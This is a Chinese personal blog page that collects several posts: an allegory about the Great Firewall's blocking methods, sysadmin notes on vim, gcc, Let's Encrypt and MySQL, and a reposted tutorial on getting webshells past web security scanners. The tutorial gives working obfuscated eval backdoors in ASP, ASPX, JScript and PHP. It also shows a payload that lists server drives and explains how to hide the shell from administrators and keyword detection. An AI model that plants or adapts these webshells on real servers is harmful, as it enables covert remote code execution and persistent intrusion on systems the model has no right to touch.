分类 网安杂类 下的文章

その日、人类は思い出した。
やつらに支配されていた恐怖を…
鸟かごの中に囚われていた…屈辱を…

故事发生在某个东方神秘国度,这里的人们由于一些神秘力量的影响,他们每天吃的东西不是普通是食物,而是数据信息。他们生活的区域被一堵看不见摸不着的墙包围着。你可能会问:既然看不见也摸不到,那人们是怎么知道有这样一堵墙呢? 关于这个问题,并没有文字资料可以证明它的存在,不过生活在其中的人们却分明感受到,它,一直在...

起源

据一个不存在的网站记载,这堵墙起步建造于 1998 年,然后一直到 2002 年的时候,有一名西方记者在一篇文章中描述了这堵墙,文章中用了 Great Firewall 来称呼它,后来就有了 GFW 这个缩写来代指它并广为流传。

像其他所有的城墙一样,GFW 的主要作用也是防御外部的威胁和对来往的旅人进行盘查。不过不同的是,GFW 防御和盘查的不是人,而是信息,也就是人们每天吃的粮食。它主要过滤一些 政治敏感内容、色情 和 青少年犯罪 等内容,当然还包括一些国家敏感信息的监控。而这些数据如果一不小心没有被过滤到被墙内的人误食了,可能会导致人们 情绪异常、身体不适 或者其他更大的危险。

那么这样一堵庞大精细的墙究竟是怎么样工作的呢?

主要技术手段

因为之前提到的,因为 GFW 是一种看不见摸不到的存在,并且并没有任何官方数据,所以目前并没有很确切的数据来解释它的工作原理。不过根据一些外在的信息表现,我们可以推测总结出几种工作手段。为了方便解释和理解,我们把他们抽象成我们现在网络体系下存在的技术进行说明,请勿对号入座哦~

IP 地址封锁

第一种最常见的技术就是 IP 地址封锁,可以对需要通过网关的数据包进行 ACL(Access Control List)检查来实现对指定 IP 地址的数据包进行拦截和丢弃。

例如,当我们跟踪访问某 G 站的数据包时,可以拿到类似下面这样的数据:

$ traceroute -d 218.189.25.131
traceroute to 218.189.25.131 (218.189.25.131), 64 hops max, 52 byte packets
 1  192.168.1.1 (192.168.1.1)  1.545 ms  1.860 ms  1.278 ms
 2  100.64.0.1 (100.64.0.1)  52.488 ms  4.257 ms  3.784 ms
 3  202.105.153.181 (202.105.153.181)  3.798 ms  4.238 ms  3.979 ms
 4  183.56.65.54 (183.56.65.54)  4.992 ms
    183.56.65.50 (183.56.65.50)  6.833 ms
    183.56.65.54 (183.56.65.54)  9.435 ms
 5  202.97.94.126 (202.97.94.126)  7.965 ms * *
 6  202.97.94.90 (202.97.94.90)  13.816 ms
    202.97.94.98 (202.97.94.98)  17.447 ms
    202.97.94.94 (202.97.94.94)  11.026 ms
 7  202.97.63.106 (202.97.63.106)  13.678 ms  14.872 ms  15.898 ms
 8  202.97.62.110 (202.97.62.110)  115.336 ms  113.077 ms  113.486 ms
 9  * * *
10  * * *
11  * * *
12  * * *
13  * * *
14  * * *
15  * * *
16  * * *

从结果中我们可以看到,数据包在经过 202.97.62.110 这个地址以后就没有了响应,也就是这个地址上很有可能做了针对数据包的过滤处理,从而使得数据包没有正确的被投递。

同样的,不只是 IP 地址,也可以针对某些特殊端口进行 ACL 过滤。

当然,作为这个神秘国度的神秘项目,GFW 也在不断的升级,现在对于 IP 封锁的手段已经替换为 黑洞路由 技术。简单点解释就是说,网关不再是把需要封锁的 IP 地址写在 ACL 里面,而是写在正常的转发列表里,只是通过动态路由技术为其指向一个错误的地址。也就是说,当墙内的人们向外投递一张含有违禁品的食物订单时,订单经过 GFW 的转发,会随机投递给一条错误的供应链,而这条链路上找不到订单上的东西,这张订单就会被当做废纸,被遗弃在世界的某个角落。对于 GFW 来说,它做的只是一个正常的转发动作,所以效率比 ACL 要高很多。

DNS 污染

我们知道,当我们访问一个网址的时候,首先需要向 DNS 服务器获取这个域名所对应的 IP 地址,才能再发出正式的请求。DNS 污染就是修改或者删除 DNS 服务器上某些特定域名的记录,从而使得数据不能发出或发向错误的地址。

比如我们查询某 G 站的 IP 的时候:

$ nslookup www.google.com
Server:        114.114.114.114
Address:    114.114.114.114#53

Non-authoritative answer:
Name:    www.google.com
Address: 93.46.8.89

记录返回 IP 地址为 93.46.8.89,而我们查询后发现这并不是一个正确的 G 站的地址,而是一个错误的地址。所以我们发出去的包并不会正确的到达 G 站。

而对于墙内的人们来说,他们的情况也是这样的。而且很巧合的是,在这个神秘国度一共 3 台 DNS 镜像服务器,一台在王城,一台在特政区,还有一台在宝岛。由于一些历史原因,后两台并不受 GFW 管理,所以只有在王城的那一台会被污染。所以当人们需要购买某些食材的时候,会被王城的回包告知 “并没有这种食材”。

TCP 连接重置

TCP 重置是指在建立 TCP 加密连接的时候,在握手阶段伪装成对方向连接的两段发送 RESET 数据包,从而导致连接无法创建。

正如墙内的人们所遇到的问题一样,当人们想创建一份秘密的订单来订购违禁品时,GFW 会在双方协商密码的时候伪装成对方,并说:“对方不想和你说话,并向你扔了一个 RESET 包!”,从而导致无法创建秘密订单。

据记载从 2015 年升级以后,这种手段已经开始被 黑洞路由 技术所代替。

关键词阻断

关键词阻断是指当数据信息中包含某些特殊关键词时,会触发阻断机制,中断本次连接。

所以当人们的订单中含有某些特定关键词的时候,GFW 就会伪装成对方发送 RESET 包,来中断本次连接。这里并不是直接丢弃订单或者使用 黑洞路由 技术的原因是,如果丢弃数据包,人们会以为是交通的问题导致订单没有送到,从而不断的发送重试,导致压力增加。而使用 RESET 包的话,人们会认为是对方终止了交易,就不会再重试了。

加密连接干扰 和 深度包检测

GFW 除了我们常见的一些网络手段之外,还有一些比较特殊的技巧。比如通过发送一些探针对各个供应商进行刺探,来确定是否是一个正常的供应商,还是一个代理供应商。同时还会对某些特殊的加密订单进行干扰,使订单成功率降低,从而降低违禁食品交易的成功率。

当然,随着 GFW 的不断升级,它还引入了一些机器学习的方法,对每天经过的大量的信息进行审查、训练,从而提取出异常信息的特征,比如握手特征、连接时长、数据量、时间、地点等等,当这些特征再次出现时,就可以快速有效的进行拦截和过滤。

也就是说,GFW 正在变得越来越精准,越来越智能。

墙内

回到我们刚才的故事。由于 GFW 的日渐强大,墙内的人们也开始越发得难以吃到那些墙外的食品,因为说实话,那些 “过审的食品” 有时候确实不怎么营养。那些偷运食物的人一个接一个的被卫兵带走,送进来的食物种类也越来越少。

由于长期的营养不良,很多人对于颜色的感知逐渐退化,变得只能分辨红光,红红的旗子,红红的眼睛,红红的血,红红的心...

还有一些还没有退化的人们,每天盼望着,盼望着更营养的食物到来的那天...

话说最近比较大的是应该就是 vim 更新出了一个时隔 N 年的版本 8.0,其实我不用 vim 也好长时间了,也只有在登录远程服务器或者一些比较特殊的情况下才用用 vim,但是这依然不影响 vim 在我心目中的地位,我认为它依然是一个很棒的编辑器。那么它这次的更新自然也不会错过,忍不住赶紧更新一下自己的 vim。

mac 是默认装有 vim 的,我的貌似是 7.4 版本,那么下面就开始我的神奇的更新之旅。。。

在 mac 下更新这种命令行工具,最自然想到的就是 homebrew,赶紧来试一下

brew update
brew install macvim

嗯嗯,貌似一切很顺利,但是,这样并不行,你再次查看 vim 版本的时候发现,还是 7.4

这是因为系统自带的 vim 是在 /usr/bin/vim 这里,而 homebrew 安装的是在 /usr/local/bin/vim 这里,所以并没有覆盖掉系统的 vim,所以现在调用的还是系统版本的 vim

那么,要怎么办呢?

通常就是两种办法,一个是在 .bashrc 或者 .bash_profile 里面覆盖一下环境变量,像这样

export PATH=/usr/local/bin:$PATH

但是我个人总觉得这样不够优雅,那么第二种办法呢,就是把旧文件改下名字,这样系统在 /usr/bin 下找不到,就会自动再到 /usr/local/bin 下来找,比如

mv /usr/bin/vim /usr/bin/vim74

但是,当我执行重命名的时候,会提示我没有权限,sudo 也不行,好吧,看样子也是费了。。。

那就没有办法更新了么?

肯定是可以的,可以用 homebrew 的 --with-override-system-vim 来安装

然后试一下

brew install macvim --with-override-system-vim

是的,它喵的又报错了!

提示需要 Xcode。。。。

EXCUSE ME?! 我要是想装 Xcode 我还要 vim 干嘛!

原因是要覆盖系统自带的 vim,需要重新编译,而在 mac 上编译文件,需要 Xcode.....

所以,你是要我为了装一个 4M 的 vim 而去安装一个 4G 的 Xcode ?!

呵呵

正常人怎么可能会去装?!!

反正最后

...

我装了....

在内网搞了个测试机,但是装 node 的时候提示 gcc 版本太低,要升级到 4.8 以上
好吧,那就升级呗~ 中间遇到好多蛋疼是事情,这篇就简单记一下升级过程,备忘,备忘~

先下载源码包~ http://ftp.gnu.org/gnu/gcc/

解压,进入文件夹,然后在下载编译所需要的依赖

cd gcc-4.8.2
./contrib/download_prerequisites

OK,编译安装~

configure --enable-checking=release --enable-languages=c,c++ --disable-multilib --prefix=/usr
make
make install

安装成功~ 大概就是这个样子~

先这样啦~

先说一声:新年快乐! 嘿嘿,但是并没有红包。

今天早上看到群里有学弟(其实是大神)说把网站添加了 https 的支持,突然想起来自己也该把我折腾证书这回事儿分享一下了,嗯嗯,开工!

话说自己网址支持 https 是在去年,那时候用过 startssl,还有国内的沃通,嗯~ 其实都还好吧,然后那时候也知道 letsencrypt,但是由于机器配置太太太低(编译都通不过好么),所以也就没用。再后来换了机器,嗯嗯,终于可以玩玩儿这货啦~(翻身农奴把歌唱,亚拉索~),不扯了,进入正题

先来安装

git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto --help

不多扯了,文档在这里

嗯嗯,生成证书

./letsencrypt certonly

然后就会出现一个 UI 界面,按照提示填写就好了

再然后配置一下 nginx

ssl_certificate /etc/letsencrypt/live/DOMAIN/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/DOMAIN/privkey.pem;

嗯嗯,记得替换成自己的路径哦~

OK,重启一下 nginx,看一下是不是已经成功了呢~

然后,letsencrypt 还有一点,证书是 90 天过期,那么就需要我们定时更新证书喽~ 哈哈,没问题

---- 2016.4.11 更新 ----

letsencrypt 更新到 0.4.0 以后就可以直接使用 renew 命令来更新证书了,这样会直接使用上次生成证书时的配置,简直方便,记得升级坂本哦~

使用 git pull 更新即可~

然后写一个 shell,这里替换证书需要先关闭 nginx,否则替换不成功

#!/bin/bash

cd /path/to/letsencrypt
/etc/init.d/nginx stop
./letsencrypt-auto renew
/etc/init.d/nginx start
crontab -e

在 crontab 中添加

0 0 31 * * /path/to/renew.sh > /path/to/renew.log

嗯嗯,打完收工~ 吃饭去,拜拜~

好吧,其实是因为自己老忘,然后这次迁移又忘记了,所以就顺手记一下吧

vim /etc/my.cnf

[mysqld]下添加

skip-networking

一般都是被注释掉的,去掉注释就好了

然后重启 mysql 就好了

嗯嗯,大概就是这样吧~
有点儿困,晚安~

昨天遇到的问题,公司的一个lnmp环境的机器忘记了 MySQL 的root密码,然后就呵呵呵呵呵。。。

下面其实就是记一下重置的过程

1.停掉LNMP

lnmp stop

2.修改MySQL配置文件

vim /etc/my.cnf

[mysqld]后面加入一行,停到密码验证

skip-grant-tables

3.重新启动LNMP

lnmp start

4.修改密码

mysql
update user set Password = password ( '123456' ) where user = 'root';

5.重启LNMP

lnmp restart

大功告成~

很好,新版的OS X 10.11 真是坑了无数的开发者

昨天更新了一下,升级到了10.11 EI Capitan 版本,然后就惊奇的发现,我的MySQL连不上了!!!
错误提示:

Reason: unsafe use of relative rpath libmysqlclient.18.dylib

呵呵哒~ 然后百度之,找到原因,据说是:EI Capitan 增加了 System Integrity Protection 的功能,阻止了写入的操作的,默认是开启的,需要关闭。

好吧,关闭方法:

重启电脑,开机时按住 cmd + R,进入 Recovery 模式。然后打开终端工具 ,输入命令:csrutil diable,然后再次重启电脑即可。

嗯嗯,棒棒哒~ 感觉新系统是在强刷存在感,让无数开发者蛋疼了一把。

最后忠告: 升级有风险,更新需谨慎!

棒棒哒~ 好久没更新,冒个泡,证明博客还没死,哇哈哈哈哈

好吧,其实就是今天要用sed -i做字符串替换的时候遇到的问题,各种不能执行

然后搜索了一下,发现mac下的sed -i的参数要多加一个备份参数:

sed -i ".bak" "s/oldString/newString/g" `grep "oldString" -rl path`

嗯嗯,就是这样,-i 的第一个参数是用作备份的,会在原文件名的最后加上这个字符串作为备份文件

如果写成空字符串的话,就表示不进行备份,但是必须要有这个参数:

sed -i "" "s/oldString/newString/g" `grep "oldString" -rl path`

好的,就是这样

0x00 背景
话说现在针对Web端文件代码检测的服务器安全类软件已经非常普及了,常见的有阿D保护盾、安全狗、护卫神、360网站卫士。它们所拥有的功能也大致相同,如:
+---------------------㈠----------------------+  
|① 检查SQL注入                                |  
|② 检查XSS代码                                |  
|③ 检查网站中有危险代码的文件                    |  
|④ 数据库权限管理、风险行为检查                  |  
+---------------------㈡----------------------+  
|⑤ 网站流量监控                               |  
|⑥ 网站日志管理                               |  
|⑦ 系统进程管理                               |  
|⑧ 端口状态查看                               |  
|⑨ 系统账号、特殊位置文件检查                   |  
|⑩ 防御ddos、cc攻击                           |  
|   ……                                       |  
+-------------------------------------------+  
可以将这些功能按下面进行分类:
                                    +----(检测Get内容)  
                                    |  
                 +----(未入侵)-------|----(检测Post内容)  
                 |                  |  
                 |                  +----(检测Http请求头、请求频率等)  
安全类软件--|  
                 |                  +----(日志审查分析)  
                 |                  |  
                 +----(已入侵)-------|----(后门检测清除)  
                                    |  
                                    +----(系统安全加固)
本文所针对的情况是:在已取得Webshell(一句话)[为什么不是大马呢,因为大马被杀的机率更高]的情况下绕过网站安全类软件的检测成功执行任意代码。
0x01 技术细节
要让“一句话”可以接收代码、执行代码、返回结果,首先要具备的条件是“一句话”已经通过检查。好吧,少说废话,开始行动吧!
已准备工具:
D盾_Web查杀(D盾杀的Shell比较全)
ASP、ASPX、PHP原生态无污染一句话
<%eval request("z")%>;
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>;
<!--?php @eval($_POST['z']);?-->
来看一下D盾对原生一句话的查杀情况吧!
2013122817573781043.jpg
Shit!,级别为5(eval后门)全部杀掉!这样也就是说即使你的一句话已经躺在目标网站目录了,访问的时候也会被WAF断掉连接。这样一句话本身也就失去意义了,更别说去使用它了。
那么这种情况下该怎么做呢?我的答案是:就像Windows下做exe的免杀一样,找到杀软件杀掉的特征码然后改掉或是绕过。当然免杀Shell比免杀exe简单的多了……
开始对我们的一句话做“免杀”吧!在此之前先来了解一句话木马的原理。对比下asp、aspx、php一句话,你发现了什么?
2013122818002311061.jpg
看到了吧,不同语言的一句话构成几乎完全一致!(首先请求客户端数据,然后执行请求到的数据)至于执行数据的来源,可以是Post,也可以是Get、cookies、session等(依然是Post、Get);如果考虑到数据长度、编码、隐蔽性等诸多因素当然还是使用Post方法最为合适。
那么服务器安全类软件杀的究竟是什么东东呢?前面说过了:“特征”,我们来做如下测试:
2013122818021354299.jpg
我把Request/POST前随便加了一个字符,再扫一扫,结果如上图。可见安全类软件杀掉的不是eval(execute/executeglobal/assert……),而是eval+"请求数据"。当脚本内有eval字串时仅仅只是提醒而已(如果连执行函数都杀,那“上帝”造它干吗!)。但是上图中的三个脚本没一个是可以正常执行的,哪有srequest呢!
这样我们就没招了吗?答案是否定的!我们可以用这样的方式来绕一绕:[exec decoding(excoding)]=》伪代码。其中excoding为已经编码了的原生一句话。encode和decode函数自己创造吧……
经过一番功夫,我把Shell代码改造如下(当然如下代码都不是最好的,因为我有点懒):
ASP:
&lt;%
Function MorfiCode(Code)
    MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCode(")/*/z/*/(tseuqer lave")
%&gt;
ASPX:
<script runat="server" language="Jscript">
function popup(str){
    var q = "u";
    var w = "afe";
    var a = q + "ns" + w;
    var b = eval(str,a);
    return(b);
}
</script>
&lt;%
popup(popup(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJ6Il0="))));
%&gt;
PHP
<!--?php
$mujj = $_POST['z'];
if($mujj!="")
{
    $xsser = base64_decode($_POST['z0']);
    @eval("\$safedg = $xsser;")
}
?-->
效果呢,如下图:
2013122818065476520.jpg
实测至此与Shell的连接已经不会被断了,而且以上三个一句话都支持我们亲爱的“菜刀”连接。但实际上你用菜刀是连不上的,因为安全类软件还会检测Get、Post、Cookies……的内容,菜刀Post数据包中含有太多的关键字(execute、response.write,base64_decode…… 不信你截包看一看)。这样有什么方法来突破呢?哈哈,两种方法:
一、反汇编改造“菜刀”(依然会有特征)       详见:http://zone.wooyun.org/content/8169
二、自己写个“菜刀”(可完全没有任何特征)   详见:http://zone.wooyun.org/content/8137
                    代码自定义编码后发送  
菜刀(客户端)《================================》一句话(服务端)  
                   解码后执行返回(编码)数据
现在,我们已经可以使用“菜刀”管理有网站安全类软件的站点了,可美中不足的是依然会被提示Execute/eval/base64_decode加密。因为正常情况下很少有用到eval/execute/executeglobal……函数(有经验的管理直接搜索eval、execute、assert等,见到包含在&lt;%%&gt;、就删……),那该怎么办才能忽悠住管理员让他保留我们的Shell呢?当然有答案,你可以构造一个注入或是文件上传,用到的时候再搞上自己的Shell,但我的目标是让我的一句话极具迷惑性(狗、神、盾、卫士哥不杀;管理员看不出这是一句话)。
在这种情况下,可能要面临一个艰难的决定:放弃我们的“菜刀”,客户端全部自写。把eval等关键代码全部写到标签内,因为安全类软件对标签内代码的检测较宽松,对&lt;%%&gt;、<!--?php ?-->等脚本标记内代码的正则检测较为严格。像
<script language="VBScript" runat="server">代码</script>
这样的之前可以用来完美“免杀”现在已经不行了,但我们还有JScript呀!所以我采用了冰狐:
<script runat="SERVER" language="JAVASCRIPT">eval(Request.form('#')+'')</script>
,重点对其进行改造!谁会注意LANGUAGE=JAVASCRIPT呢?
经过一番改造,最终代码如下:
<script runat="SERVER" language="JAVASCRIPT"> var P = Request.form('z'); var Wab = {'E' : eval}; Wab.E(P+''); </script>
看一下效果吧……
2013122818143369499.jpg
D盾已经没有任何提示了!那么该怎么用这个一句话呢?已经说过了无法使用“菜刀连接”。好吧,火狐中选post一段代码到这个一句话试试……
2013122818151026774.jpg
当然不仅限于显示网站路径,任意代码哦!试试:
try{var S="-&gt;|"+Server.Mappath("/")+"\t";var oFso = Server.CreateObject("Scripting.FileSystemObject");var oDrivers = oFso.Drives;for(var x=new Enumerator(oDrivers);!x.atEnd();x.moveNext()) {var oDriver = x.item();S+=oDriver.Path;}S+="|&lt;-";Response.write(S);}catch(e){}
2013122818165995078.jpg
这个一句话已经满足我们的所有要求了,但是你会说它依然不完美,因为它不支持Chopper!好吧,那就再费心改造一下吧…… 经过改造后的Shell代码如下:
<script runat="SERVER" language="JAVASCRIPT">
    var Sp = Request.form('z');
    var Fla = {'E' : eval};
    var St=""
    var A="XX代码";
    var B="XX代码";
    var C="XXXXXX"; ……
    switch(Sp) { case "A": St=A; break; case "B": St=B; break; case "C": St=C; break; case "D": St=D; case "E": St=E; break; …… default:} Fla.E(St+'');
</script>
这样就可以使用“菜刀”连接了(我省略了代码,精简了重点部分上面只是个示例。)
好吧,ASP一句话到这已经玩的很开心了,那接下来说下ASPX、PHP吧,是这样的,我不懂.net编程,也不懂PHP编程。自己顶多也就算是个无证&amp;业余程序猿,所以从这往下所述的您能看就看,不能看就使劲吐槽!!!!!
总的来说上面的ASPX一句话已经够玩了,但是如果您是个追求完美的人,您可以将您的代码编译入Dll,然后放入bin目录(lake2 N年前不就这么做了吗:WebAdmin 2.Y详见:http://blog.csdn.net/lake2/article/details/575602),dll中的代码用记事本能看吗!更别提杀了……
最后来说一下PHP吧,变形方法和ASP、ASPX的没什么两样。您可以将代码写入
<script language="php">标签内以增大迷惑性,但这一招和ASP的vbscript一样对于安全类软件早已经失效,没说它们视如所以呢,看实际情况和使用的地方了,自己选择。
通过简单的变量传递便可以实现免杀(php语法真的好灵活,能免的连个毛都不剩下)……
我使用如下代码作为一句话:
<?php
$x=$_POST['z'];
@eval("\$safedg = $x;");  
?>
当然您不满意的话可以继续搞,连eval都给拆了!使用preg_replace、array_map或是从REQUEST的变量中取得eval、assert……,实没D盾都会有不同等级的报告(提示可疑但不认识,毕竟这些不常用函数都挺有风险……),我是挺懒,不想搞了……
看效果:
2013122818201195763.jpg
关于如何玩转一句话已经写的差不多了(本人水平问题ASPX、PHP未能写的更详细!以后补充……)。如果将来一句话因为关键字被杀实再玩不鸟了(可能性不太大),那就转业自写Customize脚本吧,至少文件读写,数据库连接这些功能是不会被杀的。
参考:
http://qqhack8.blog.163.com/blog/static/114147985201211292209893/
http://hi.baidu.com/monyer/item/a218dbadf2afc7a828ce9d63
转自:http://drops.wooyun.org/tips/839</script>

好吧,好久木有更新了,今天就先更新一下今天学习vim的记录吧,其实估计也就几行,主要是记录一下,也希望能帮到刚开始玩vim的童鞋。。

恩恩,废话不多说了,其实很简单,也不需要上网找什么教程,只要你在终端运行下面这条命令

$ vimtutor

当当当当~   教程粗线了~  恩恩,你和你的小伙半们是不是也惊呆了呢?  哈哈,就下来就是按照教程一步一步学习,很快就会对vim有一个比较全面的认识。。。

好吧,今天要说的就这么多,以后表示更新会比较勤一点,希望还会有人继续支持一下~